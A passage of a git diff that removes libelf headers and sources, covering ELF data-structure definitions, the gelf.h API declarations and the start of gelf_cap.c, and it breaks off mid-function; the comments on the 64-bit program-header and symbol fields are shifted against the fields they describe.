-		Elf64_Addr	d_ptr; /* Pointer value; */
-	} d_un;
-} Elf64_Dyn;
-
-
-/*
- * The executable header (EHDR).
- */
-
-/* 32 bit EHDR. */
-typedef struct {
-	unsigned char   e_ident[EI_NIDENT]; /* ELF identification. */
-	Elf32_Half      e_type;	     /* Object file type (ET_*). */
-	Elf32_Half      e_machine;   /* Machine type (EM_*). */
-	Elf32_Word      e_version;   /* File format version (EV_*). */
-	Elf32_Addr      e_entry;     /* Start address. */
-	Elf32_Off       e_phoff;     /* File offset to the PHDR table. */
-	Elf32_Off       e_shoff;     /* File offset to the SHDRheader. */
-	Elf32_Word      e_flags;     /* Flags (EF_*). */
-	Elf32_Half      e_ehsize;    /* Elf header size in bytes. */
-	Elf32_Half      e_phentsize; /* PHDR table entry size in bytes. */
-	Elf32_Half      e_phnum;     /* Number of PHDR entries. */
-	Elf32_Half      e_shentsize; /* SHDR table entry size in bytes. */
-	Elf32_Half      e_shnum;     /* Number of SHDR entries. */
-	Elf32_Half      e_shstrndx;  /* Index of section name string table. */
-} Elf32_Ehdr;
-
-
-/* 64 bit EHDR. */
-typedef struct {
-	unsigned char   e_ident[EI_NIDENT]; /* ELF identification. */
-	Elf64_Half      e_type;	     /* Object file type (ET_*). */
-	Elf64_Half      e_machine;   /* Machine type (EM_*). */
-	Elf64_Word      e_version;   /* File format version (EV_*). */
-	Elf64_Addr      e_entry;     /* Start address. */
-	Elf64_Off       e_phoff;     /* File offset to the PHDR table. */
-	Elf64_Off       e_shoff;     /* File offset to the SHDRheader. */
-	Elf64_Word      e_flags;     /* Flags (EF_*). */
-	Elf64_Half      e_ehsize;    /* Elf header size in bytes. */
-	Elf64_Half      e_phentsize; /* PHDR table entry size in bytes. */
-	Elf64_Half      e_phnum;     /* Number of PHDR entries. */
-	Elf64_Half      e_shentsize; /* SHDR table entry size in bytes. */
-	Elf64_Half      e_shnum;     /* Number of SHDR entries. */
-	Elf64_Half      e_shstrndx;  /* Index of section name string table. */
-} Elf64_Ehdr;
-
-
-/*
- * Shared object information.
- */
-
-/* 32-bit entry. */
-typedef struct {
-	Elf32_Word l_name;	     /* The name of a shared object. */
-	Elf32_Word l_time_stamp;     /* 32-bit timestamp. */
-	Elf32_Word l_checksum;	     /* Checksum of visible symbols, sizes. */
-	Elf32_Word l_version;	     /* Interface version string index. */
-	Elf32_Word l_flags;	     /* Flags (LL_*). */
-} Elf32_Lib;
-
-/* 64-bit entry. */
-typedef struct {
-	Elf64_Word l_name;
-	Elf64_Word l_time_stamp;
-	Elf64_Word l_checksum;
-	Elf64_Word l_version;
-	Elf64_Word l_flags;
-} Elf64_Lib;
-
-#define	_ELF_DEFINE_LL_FLAGS()			\
-_ELF_DEFINE_LL(LL_NONE,			0,	\
-	"no flags")				\
-_ELF_DEFINE_LL(LL_EXACT_MATCH,		0x1,	\
-	"require an exact match")		\
-_ELF_DEFINE_LL(LL_IGNORE_INT_VER,	0x2,	\
-	"ignore version incompatibilities")	\
-_ELF_DEFINE_LL(LL_REQUIRE_MINOR,	0x4,	\
-	"")					\
-_ELF_DEFINE_LL(LL_EXPORTS,		0x8,	\
-	"")					\
-_ELF_DEFINE_LL(LL_DELAY_LOAD,		0x10,	\
-	"")					\
-_ELF_DEFINE_LL(LL_DELTA,		0x20,	\
-	"")
-
-#undef	_ELF_DEFINE_LL
-#define	_ELF_DEFINE_LL(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_LL_FLAGS()
-	LL__LAST__
-};
-
-/*
- * Note tags
- */
-
-#define	_ELF_DEFINE_NOTE_ENTRY_TYPES()					\
-_ELF_DEFINE_NT(NT_ABI_TAG,	1,	"Tag indicating the ABI")	\
-_ELF_DEFINE_NT(NT_GNU_HWCAP,	2,	"Hardware capabilities")	\
-_ELF_DEFINE_NT(NT_GNU_BUILD_ID,	3,	"Build id, set by ld(1)")	\
-_ELF_DEFINE_NT(NT_GNU_GOLD_VERSION, 4,					\
-	"Version number of the GNU gold linker")			\
-_ELF_DEFINE_NT(NT_PRSTATUS,	1,	"Process status")		\
-_ELF_DEFINE_NT(NT_FPREGSET,	2,	"Floating point information")	\
-_ELF_DEFINE_NT(NT_PRPSINFO,	3,	"Process information")		\
-_ELF_DEFINE_NT(NT_AUXV,		6,	"Auxiliary vector")		\
-_ELF_DEFINE_NT(NT_PRXFPREG,	0x46E62B7FUL,				\
-	"Linux user_xfpregs structure")					\
-_ELF_DEFINE_NT(NT_PSTATUS,	10,	"Linux process status")		\
-_ELF_DEFINE_NT(NT_FPREGS,	12,	"Linux floating point regset")	\
-_ELF_DEFINE_NT(NT_PSINFO,	13,	"Linux process information")	\
-_ELF_DEFINE_NT(NT_LWPSTATUS,	16,	"Linux lwpstatus_t type")	\
-_ELF_DEFINE_NT(NT_LWPSINFO,	17,	"Linux lwpinfo_t type")
-
-#undef	_ELF_DEFINE_NT
-#define	_ELF_DEFINE_NT(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_NOTE_ENTRY_TYPES()
-	NT__LAST__
-};
-
-/* Aliases for the ABI tag. */
-#define	NT_FREEBSD_ABI_TAG	NT_ABI_TAG
-#define	NT_GNU_ABI_TAG		NT_ABI_TAG
-#define	NT_NETBSD_IDENT		NT_ABI_TAG
-#define	NT_OPENBSD_IDENT	NT_ABI_TAG
-
-/*
- * Note descriptors.
- */
-
-typedef	struct {
-	uint32_t	n_namesz;    /* Length of note's name. */
-	uint32_t	n_descsz;    /* Length of note's value. */
-	uint32_t	n_type;	     /* Type of note. */
-} Elf_Note;
-
-typedef Elf_Note Elf32_Nhdr;	     /* 32-bit note header. */
-typedef Elf_Note Elf64_Nhdr;	     /* 64-bit note header. */
-
-/*
- * MIPS ELF options descriptor header.
- */
-
-typedef struct {
-	Elf64_Byte	kind;        /* Type of options. */
-	Elf64_Byte     	size;	     /* Size of option descriptor. */
-	Elf64_Half	section;     /* Index of section affected. */
-	Elf64_Word	info;        /* Kind-specific information. */
-} Elf_Options;
-
-/*
- * Option kinds.
- */
-
-#define	_ELF_DEFINE_OPTION_KINDS()					\
-_ELF_DEFINE_ODK(ODK_NULL,       0,      "undefined")			\
-_ELF_DEFINE_ODK(ODK_REGINFO,    1,      "register usage info")		\
-_ELF_DEFINE_ODK(ODK_EXCEPTIONS, 2,      "exception processing info")	\
-_ELF_DEFINE_ODK(ODK_PAD,        3,      "section padding")		\
-_ELF_DEFINE_ODK(ODK_HWPATCH,    4,      "hardware patch applied")	\
-_ELF_DEFINE_ODK(ODK_FILL,       5,      "fill value used by linker")	\
-_ELF_DEFINE_ODK(ODK_TAGS,       6,      "reserved space for tools")	\
-_ELF_DEFINE_ODK(ODK_HWAND,      7,      "hardware AND patch applied")	\
-_ELF_DEFINE_ODK(ODK_HWOR,       8,      "hardware OR patch applied")	\
-_ELF_DEFINE_ODK(ODK_GP_GROUP,   9,					\
-	"GP group to use for text/data sections")			\
-_ELF_DEFINE_ODK(ODK_IDENT,      10,     "ID information")		\
-_ELF_DEFINE_ODK(ODK_PAGESIZE,   11,     "page size infomation")
-
-#undef	_ELF_DEFINE_ODK
-#define	_ELF_DEFINE_ODK(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_OPTION_KINDS()
-	ODK__LAST__
-};
-
-/*
- * ODK_EXCEPTIONS info field masks.
- */
-
-#define	_ELF_DEFINE_ODK_EXCEPTIONS_MASK()				\
-_ELF_DEFINE_OEX(OEX_FPU_MIN,    0x0000001FUL,				\
-	"minimum FPU exception which must be enabled")			\
-_ELF_DEFINE_OEX(OEX_FPU_MAX,    0x00001F00UL,				\
-	"maximum FPU exception which can be enabled")			\
-_ELF_DEFINE_OEX(OEX_PAGE0,      0x00010000UL,				\
-	"page zero must be mapped")					\
-_ELF_DEFINE_OEX(OEX_SMM,        0x00020000UL,				\
-	"run in sequential memory mode")				\
-_ELF_DEFINE_OEX(OEX_PRECISEFP,  0x00040000UL,				\
-	"run in precise FP exception mode")				\
-_ELF_DEFINE_OEX(OEX_DISMISS,    0x00080000UL,				\
-	"dismiss invalid address traps")
-
-#undef	_ELF_DEFINE_OEX
-#define	_ELF_DEFINE_OEX(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ODK_EXCEPTIONS_MASK()
-	OEX__LAST__
-};
-
-/*
- * ODK_PAD info field masks.
- */
-
-#define	_ELF_DEFINE_ODK_PAD_MASK()					\
-_ELF_DEFINE_OPAD(OPAD_PREFIX,   0x0001)					\
-_ELF_DEFINE_OPAD(OPAD_POSTFIX,  0x0002)					\
-_ELF_DEFINE_OPAD(OPAD_SYMBOL,   0x0004)
-
-#undef	_ELF_DEFINE_OPAD
-#define	_ELF_DEFINE_OPAD(N, V)		N = V ,
-enum {
-	_ELF_DEFINE_ODK_PAD_MASK()
-	OPAD__LAST__
-};
-
-/*
- * ODK_HWPATCH info field masks.
- */
-
-#define	_ELF_DEFINE_ODK_HWPATCH_MASK()					\
-_ELF_DEFINE_OHW(OHW_R4KEOP,     0x00000001UL,				\
-	"patch for R4000 branch at end-of-page bug")			\
-_ELF_DEFINE_OHW(OHW_R8KPFETCH,  0x00000002UL,				\
-	"R8000 prefetch bug may occur")					\
-_ELF_DEFINE_OHW(OHW_R5KEOP,     0x00000004UL,				\
-	"patch for R5000 branch at end-of-page bug")			\
-_ELF_DEFINE_OHW(OHW_R5KCVTL,    0x00000008UL,				\
-	"R5000 cvt.[ds].l bug: clean == 1")				\
-_ELF_DEFINE_OHW(OHW_R10KLDL,    0x00000010UL,				\
-	"needd patch for R10000 misaligned load")
-
-#undef	_ELF_DEFINE_OHW
-#define	_ELF_DEFINE_OHW(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ODK_HWPATCH_MASK()
-	OHW__LAST__
-};
-
-/*
- * ODK_HWAND/ODK_HWOR info field and hwp_flags[12] masks.
- */
-
-#define	_ELF_DEFINE_ODK_HWP_MASK()					\
-_ELF_DEFINE_HWP(OHWA0_R4KEOP_CHECKED, 0x00000001UL,			\
-	"object checked for R4000 end-of-page bug")			\
-_ELF_DEFINE_HWP(OHWA0_R4KEOP_CLEAN, 0x00000002UL,			\
-	"object verified clean for R4000 end-of-page bug")		\
-_ELF_DEFINE_HWP(OHWO0_FIXADE,   0x00000001UL,				\
-	"object requires call to fixade")
-
-#undef	_ELF_DEFINE_HWP
-#define	_ELF_DEFINE_HWP(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ODK_HWP_MASK()
-	OHWX0__LAST__
-};
-
-/*
- * ODK_IDENT/ODK_GP_GROUP info field masks.
- */
-
-#define	_ELF_DEFINE_ODK_GP_MASK()					\
-_ELF_DEFINE_OGP(OGP_GROUP,      0x0000FFFFUL, "GP group number")	\
-_ELF_DEFINE_OGP(OGP_SELF,       0x00010000UL,				\
-	"GP group is self-contained")
-
-#undef	_ELF_DEFINE_OGP
-#define	_ELF_DEFINE_OGP(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_ODK_GP_MASK()
-	OGP__LAST__
-};
-
-/*
- * MIPS ELF register info descriptor.
- */
-
-/* 32 bit RegInfo entry. */
-typedef struct {
-	Elf32_Word	ri_gprmask;  /* Mask of general register used. */
-	Elf32_Word	ri_cprmask[4]; /* Mask of coprocessor register used. */
-	Elf32_Addr	ri_gp_value; /* GP register value. */
-} Elf32_RegInfo;
-
-/* 64 bit RegInfo entry. */
-typedef struct {
-	Elf64_Word	ri_gprmask;  /* Mask of general register used. */
-	Elf64_Word	ri_pad;	     /* Padding. */
-	Elf64_Word	ri_cprmask[4]; /* Mask of coprocessor register used. */
-	Elf64_Addr	ri_gp_value; /* GP register value. */
-} Elf64_RegInfo;
-
-/*
- * Program Header Table (PHDR) entries.
- */
-
-/* 32 bit PHDR entry. */
-typedef struct {
-	Elf32_Word	p_type;	     /* Type of segment. */
-	Elf32_Off	p_offset;    /* File offset to segment. */
-	Elf32_Addr	p_vaddr;     /* Virtual address in memory. */
-	Elf32_Addr	p_paddr;     /* Physical address (if relevant). */
-	Elf32_Word	p_filesz;    /* Size of segment in file. */
-	Elf32_Word	p_memsz;     /* Size of segment in memory. */
-	Elf32_Word	p_flags;     /* Segment flags. */
-	Elf32_Word	p_align;     /* Alignment constraints. */
-} Elf32_Phdr;
-
-/* 64 bit PHDR entry. */
-typedef struct {
-	Elf64_Word	p_type;	     /* Type of segment. */
-	Elf64_Word	p_flags;     /* File offset to segment. */
-	Elf64_Off	p_offset;    /* Virtual address in memory. */
-	Elf64_Addr	p_vaddr;     /* Physical address (if relevant). */
-	Elf64_Addr	p_paddr;     /* Size of segment in file. */
-	Elf64_Xword	p_filesz;    /* Size of segment in memory. */
-	Elf64_Xword	p_memsz;     /* Segment flags. */
-	Elf64_Xword	p_align;     /* Alignment constraints. */
-} Elf64_Phdr;
-
-
-/*
- * Move entries, for describing data in COMMON blocks in a compact
- * manner.
- */
-
-/* 32-bit move entry. */
-typedef struct {
-	Elf32_Lword	m_value;     /* Initialization value. */
-	Elf32_Word 	m_info;	     /* Encoded size and index. */
-	Elf32_Word	m_poffset;   /* Offset relative to symbol. */
-	Elf32_Half	m_repeat;    /* Repeat count. */
-	Elf32_Half	m_stride;    /* Number of units to skip. */
-} Elf32_Move;
-
-/* 64-bit move entry. */
-typedef struct {
-	Elf64_Lword	m_value;     /* Initialization value. */
-	Elf64_Xword 	m_info;	     /* Encoded size and index. */
-	Elf64_Xword	m_poffset;   /* Offset relative to symbol. */
-	Elf64_Half	m_repeat;    /* Repeat count. */
-	Elf64_Half	m_stride;    /* Number of units to skip. */
-} Elf64_Move;
-
-#define ELF32_M_SYM(I)		((I) >> 8)
-#define ELF32_M_SIZE(I)		((unsigned char) (I))
-#define ELF32_M_INFO(M, S)	(((M) << 8) + (unsigned char) (S))
-
-#define ELF64_M_SYM(I)		((I) >> 8)
-#define ELF64_M_SIZE(I)		((unsigned char) (I))
-#define ELF64_M_INFO(M, S)	(((M) << 8) + (unsigned char) (S))
-
-/*
- * Section Header Table (SHDR) entries.
- */
-
-/* 32 bit SHDR */
-typedef struct {
-	Elf32_Word	sh_name;     /* index of section name */
-	Elf32_Word	sh_type;     /* section type */
-	Elf32_Word	sh_flags;    /* section flags */
-	Elf32_Addr	sh_addr;     /* in-memory address of section */
-	Elf32_Off	sh_offset;   /* file offset of section */
-	Elf32_Word	sh_size;     /* section size in bytes */
-	Elf32_Word	sh_link;     /* section header table link */
-	Elf32_Word	sh_info;     /* extra information */
-	Elf32_Word	sh_addralign; /* alignment constraint */
-	Elf32_Word	sh_entsize;   /* size for fixed-size entries */
-} Elf32_Shdr;
-
-/* 64 bit SHDR */
-typedef struct {
-	Elf64_Word	sh_name;     /* index of section name */
-	Elf64_Word	sh_type;     /* section type */
-	Elf64_Xword	sh_flags;    /* section flags */
-	Elf64_Addr	sh_addr;     /* in-memory address of section */
-	Elf64_Off	sh_offset;   /* file offset of section */
-	Elf64_Xword	sh_size;     /* section size in bytes */
-	Elf64_Word	sh_link;     /* section header table link */
-	Elf64_Word	sh_info;     /* extra information */
-	Elf64_Xword	sh_addralign; /* alignment constraint */
-	Elf64_Xword	sh_entsize;  /* size for fixed-size entries */
-} Elf64_Shdr;
-
-
-/*
- * Symbol table entries.
- */
-
-typedef struct {
-	Elf32_Word	st_name;     /* index of symbol's name */
-	Elf32_Addr	st_value;    /* value for the symbol */
-	Elf32_Word	st_size;     /* size of associated data */
-	unsigned char	st_info;     /* type and binding attributes */
-	unsigned char	st_other;    /* visibility */
-	Elf32_Half	st_shndx;    /* index of related section */
-} Elf32_Sym;
-
-typedef struct {
-	Elf64_Word	st_name;     /* index of symbol's name */
-	unsigned char	st_info;     /* value for the symbol */
-	unsigned char	st_other;    /* size of associated data */
-	Elf64_Half	st_shndx;    /* type and binding attributes */
-	Elf64_Addr	st_value;    /* visibility */
-	Elf64_Xword	st_size;     /* index of related section */
-} Elf64_Sym;
-
-#define ELF32_ST_BIND(I)	((I) >> 4)
-#define ELF32_ST_TYPE(I)	((I) & 0xFU)
-#define ELF32_ST_INFO(B,T)	(((B) << 4) + ((T) & 0xF))
-
-#define ELF64_ST_BIND(I)	((I) >> 4)
-#define ELF64_ST_TYPE(I)	((I) & 0xFU)
-#define ELF64_ST_INFO(B,T)	(((B) << 4) + ((T) & 0xF))
-
-#define ELF32_ST_VISIBILITY(O)	((O) & 0x3)
-#define ELF64_ST_VISIBILITY(O)	((O) & 0x3)
-
-/*
- * Syminfo descriptors, containing additional symbol information.
- */
-
-/* 32-bit entry. */
-typedef struct {
-	Elf32_Half	si_boundto;  /* Entry index with additional flags. */
-	Elf32_Half	si_flags;    /* Flags. */
-} Elf32_Syminfo;
-
-/* 64-bit entry. */
-typedef struct {
-	Elf64_Half	si_boundto;  /* Entry index with additional flags. */
-	Elf64_Half	si_flags;    /* Flags. */
-} Elf64_Syminfo;
-
-/*
- * Relocation descriptors.
- */
-
-typedef struct {
-	Elf32_Addr	r_offset;    /* location to apply relocation to */
-	Elf32_Word	r_info;	     /* type+section for relocation */
-} Elf32_Rel;
-
-typedef struct {
-	Elf32_Addr	r_offset;    /* location to apply relocation to */
-	Elf32_Word	r_info;      /* type+section for relocation */
-	Elf32_Sword	r_addend;    /* constant addend */
-} Elf32_Rela;
-
-typedef struct {
-	Elf64_Addr	r_offset;    /* location to apply relocation to */
-	Elf64_Xword	r_info;      /* type+section for relocation */
-} Elf64_Rel;
-
-typedef struct {
-	Elf64_Addr	r_offset;    /* location to apply relocation to */
-	Elf64_Xword	r_info;      /* type+section for relocation */
-	Elf64_Sxword	r_addend;    /* constant addend */
-} Elf64_Rela;
-
-
-#define ELF32_R_SYM(I)		((I) >> 8)
-#define ELF32_R_TYPE(I)		((unsigned char) (I))
-#define ELF32_R_INFO(S,T)	(((S) << 8) + (unsigned char) (T))
-
-#define ELF64_R_SYM(I)		((I) >> 32)
-#define ELF64_R_TYPE(I)		((I) & 0xFFFFFFFFUL)
-#define ELF64_R_INFO(S,T)	(((S) << 32) + ((T) & 0xFFFFFFFFUL))
-
-/*
- * Symbol versioning structures.
- */
-
-/* 32-bit structures. */
-typedef struct
-{
-	Elf32_Word	vda_name;    /* Index to name. */
-	Elf32_Word	vda_next;    /* Offset to next entry. */
-} Elf32_Verdaux;
-
-typedef struct
-{
-	Elf32_Word	vna_hash;    /* Hash value of dependency name. */
-	Elf32_Half	vna_flags;   /* Flags. */
-	Elf32_Half	vna_other;   /* Unused. */
-	Elf32_Word	vna_name;    /* Offset to dependency name. */
-	Elf32_Word	vna_next;    /* Offset to next vernaux entry. */
-} Elf32_Vernaux;
-
-typedef struct
-{
-	Elf32_Half	vd_version;  /* Version information. */
-	Elf32_Half	vd_flags;    /* Flags. */
-	Elf32_Half	vd_ndx;	     /* Index into the versym section. */
-	Elf32_Half	vd_cnt;	     /* Number of aux entries. */
-	Elf32_Word	vd_hash;     /* Hash value of name. */
-	Elf32_Word	vd_aux;	     /* Offset to aux entries. */
-	Elf32_Word	vd_next;     /* Offset to next version definition. */
-} Elf32_Verdef;
-
-typedef struct
-{
-	Elf32_Half	vn_version;  /* Version number. */
-	Elf32_Half	vn_cnt;	     /* Number of aux entries. */
-	Elf32_Word	vn_file;     /* Offset of associated file name. */
-	Elf32_Word	vn_aux;	     /* Offset of vernaux array. */
-	Elf32_Word	vn_next;     /* Offset of next verneed entry. */
-} Elf32_Verneed;
-
-typedef Elf32_Half	Elf32_Versym;
-
-/* 64-bit structures. */
-
-typedef struct {
-	Elf64_Word	vda_name;    /* Index to name. */
-	Elf64_Word	vda_next;    /* Offset to next entry. */
-} Elf64_Verdaux;
-
-typedef struct {
-	Elf64_Word	vna_hash;    /* Hash value of dependency name. */
-	Elf64_Half	vna_flags;   /* Flags. */
-	Elf64_Half	vna_other;   /* Unused. */
-	Elf64_Word	vna_name;    /* Offset to dependency name. */
-	Elf64_Word	vna_next;    /* Offset to next vernaux entry. */
-} Elf64_Vernaux;
-
-typedef struct {
-	Elf64_Half	vd_version;  /* Version information. */
-	Elf64_Half	vd_flags;    /* Flags. */
-	Elf64_Half	vd_ndx;	     /* Index into the versym section. */
-	Elf64_Half	vd_cnt;	     /* Number of aux entries. */
-	Elf64_Word	vd_hash;     /* Hash value of name. */
-	Elf64_Word	vd_aux;	     /* Offset to aux entries. */
-	Elf64_Word	vd_next;     /* Offset to next version definition. */
-} Elf64_Verdef;
-
-typedef struct {
-	Elf64_Half	vn_version;  /* Version number. */
-	Elf64_Half	vn_cnt;	     /* Number of aux entries. */
-	Elf64_Word	vn_file;     /* Offset of associated file name. */
-	Elf64_Word	vn_aux;	     /* Offset of vernaux array. */
-	Elf64_Word	vn_next;     /* Offset of next verneed entry. */
-} Elf64_Verneed;
-
-typedef Elf64_Half	Elf64_Versym;
-
-
-/*
- * The header for GNU-style hash sections.
- */
-
-typedef struct {
-	uint32_t	gh_nbuckets;	/* Number of hash buckets. */
-	uint32_t	gh_symndx;	/* First visible symbol in .dynsym. */
-	uint32_t	gh_maskwords;	/* #maskwords used in bloom filter. */
-	uint32_t	gh_shift2;	/* Bloom filter shift count. */
-} Elf_GNU_Hash_Header;
-
-#endif	/* _ELFDEFINITIONS_H_ */
diff --git a/src/libelf/gelf.h b/src/libelf/gelf.h
deleted file mode 100644
index b6e07f9..0000000
--- a/src/libelf/gelf.h
+++ /dev/null
@@ -1,106 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: gelf.h 1168 2010-09-04 01:03:25Z jkoshy $
- */
-
-#ifndef	_GELF_H_
-#define	_GELF_H_
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-typedef Elf64_Addr	GElf_Addr;	/* Addresses */
-typedef Elf64_Half	GElf_Half;	/* Half words (16 bit) */
-typedef Elf64_Off	GElf_Off;	/* Offsets */
-typedef Elf64_Sword	GElf_Sword;	/* Signed words (32 bit) */
-typedef Elf64_Sxword	GElf_Sxword;	/* Signed long words (64 bit) */
-typedef Elf64_Word	GElf_Word;	/* Unsigned words (32 bit) */
-typedef Elf64_Xword	GElf_Xword;	/* Unsigned long words (64 bit) */
-
-typedef Elf64_Dyn	GElf_Dyn;	/* ".dynamic" section entries */
-typedef Elf64_Ehdr	GElf_Ehdr;	/* ELF header */
-typedef Elf64_Phdr	GElf_Phdr;	/* Program header */
-typedef Elf64_Shdr	GElf_Shdr;	/* Section header */
-typedef Elf64_Sym	GElf_Sym;	/* Symbol table entries */
-typedef Elf64_Rel	GElf_Rel;	/* Relocation entries */
-typedef Elf64_Rela	GElf_Rela;	/* Relocation entries with addend */
-
-typedef	Elf64_Cap	GElf_Cap;	/* SW/HW capabilities */
-typedef Elf64_Move	GElf_Move;	/* Move entries */
-typedef Elf64_Syminfo	GElf_Syminfo;	/* Symbol information */
-
-#define	GELF_M_INFO			ELF64_M_INFO
-#define	GELF_M_SIZE			ELF64_M_SIZE
-#define	GELF_M_SYM			ELF64_M_SYM
-
-#define	GELF_R_INFO			ELF64_R_INFO
-#define	GELF_R_SYM			ELF64_R_SYM
-#define	GELF_R_TYPE			ELF64_R_TYPE
-#define	GELF_R_TYPE_DATA		ELF64_R_TYPE_DATA
-#define	GELF_R_TYPE_ID			ELF64_R_TYPE_ID
-#define	GELF_R_TYPE_INFO		ELF64_R_TYPE_INFO
-
-#define	GELF_ST_BIND			ELF64_ST_BIND
-#define	GELF_ST_INFO			ELF64_ST_INFO
-#define	GELF_ST_TYPE			ELF64_ST_TYPE
-#define	GELF_ST_VISIBILITY		ELF64_ST_VISIBILITY
-
-long		gelf_checksum(Elf *_elf);
-size_t		gelf_fsize(Elf *_elf, Elf_Type _type, size_t _count,
-			unsigned int _version);
-int		gelf_getclass(Elf *_elf);
-GElf_Dyn	*gelf_getdyn(Elf_Data *_data, int _index, GElf_Dyn *_dst);
-GElf_Ehdr	*gelf_getehdr(Elf *_elf, GElf_Ehdr *_dst);
-GElf_Phdr	*gelf_getphdr(Elf *_elf, int _index, GElf_Phdr *_dst);
-GElf_Rel	*gelf_getrel(Elf_Data *_src, int _index, GElf_Rel *_dst);
-GElf_Rela	*gelf_getrela(Elf_Data *_src, int _index, GElf_Rela *_dst);
-GElf_Shdr	*gelf_getshdr(Elf_Scn *_scn, GElf_Shdr *_dst);
-GElf_Sym	*gelf_getsym(Elf_Data *_src, int _index, GElf_Sym *_dst);
-GElf_Sym	*gelf_getsymshndx(Elf_Data *_src, Elf_Data *_shindexsrc,
-			int _index, GElf_Sym *_dst, Elf32_Word *_shindexdst);
-void *		gelf_newehdr(Elf *_elf, int _class);
-void *		gelf_newphdr(Elf *_elf, size_t _phnum);
-int		gelf_update_dyn(Elf_Data *_dst, int _index, GElf_Dyn *_src);
-int		gelf_update_ehdr(Elf *_elf, GElf_Ehdr *_src);
-int		gelf_update_phdr(Elf *_elf, int _index, GElf_Phdr *_src);
-int		gelf_update_rel(Elf_Data *_dst, int _index, GElf_Rel *_src);
-int		gelf_update_rela(Elf_Data *_dst, int _index, GElf_Rela *_src);
-int		gelf_update_shdr(Elf_Scn *_dst, GElf_Shdr *_src);
-int		gelf_update_sym(Elf_Data *_dst, int _index, GElf_Sym *_src);
-int		gelf_update_symshndx(Elf_Data *_symdst, Elf_Data *_shindexdst,
-			int _index, GElf_Sym *_symsrc, Elf32_Word _shindexsrc);
-Elf_Data 	*gelf_xlatetof(Elf *_elf, Elf_Data *_dst, const Elf_Data *_src, unsigned int _encode);
-Elf_Data 	*gelf_xlatetom(Elf *_elf, Elf_Data *_dst, const Elf_Data *_src, unsigned int _encode);
-
-GElf_Cap	*gelf_getcap(Elf_Data *_data, int _index, GElf_Cap *_cap);
-GElf_Move	*gelf_getmove(Elf_Data *_src, int _index, GElf_Move *_dst);
-GElf_Syminfo	*gelf_getsyminfo(Elf_Data *_src, int _index, GElf_Syminfo *_dst);
-int		gelf_update_cap(Elf_Data *_dst, int _index, GElf_Cap *_src);
-int		gelf_update_move(Elf_Data *_dst, int _index, GElf_Move *_src);
-int		gelf_update_syminfo(Elf_Data *_dst, int _index, GElf_Syminfo *_src);
-
-#endif	/* _GELF_H_ */
diff --git a/src/libelf/gelf_cap.c b/src/libelf/gelf_cap.c
deleted file mode 100644
index a1c1417..0000000
--- a/src/libelf/gelf_cap.c
+++ /dev/null
@@ -1,151 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_cap.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Cap *
-gelf_getcap(Elf_Data *ed, int ndx, GElf_Cap *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	Elf32_Cap *cap32;
-	Elf64_Cap *cap64;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-
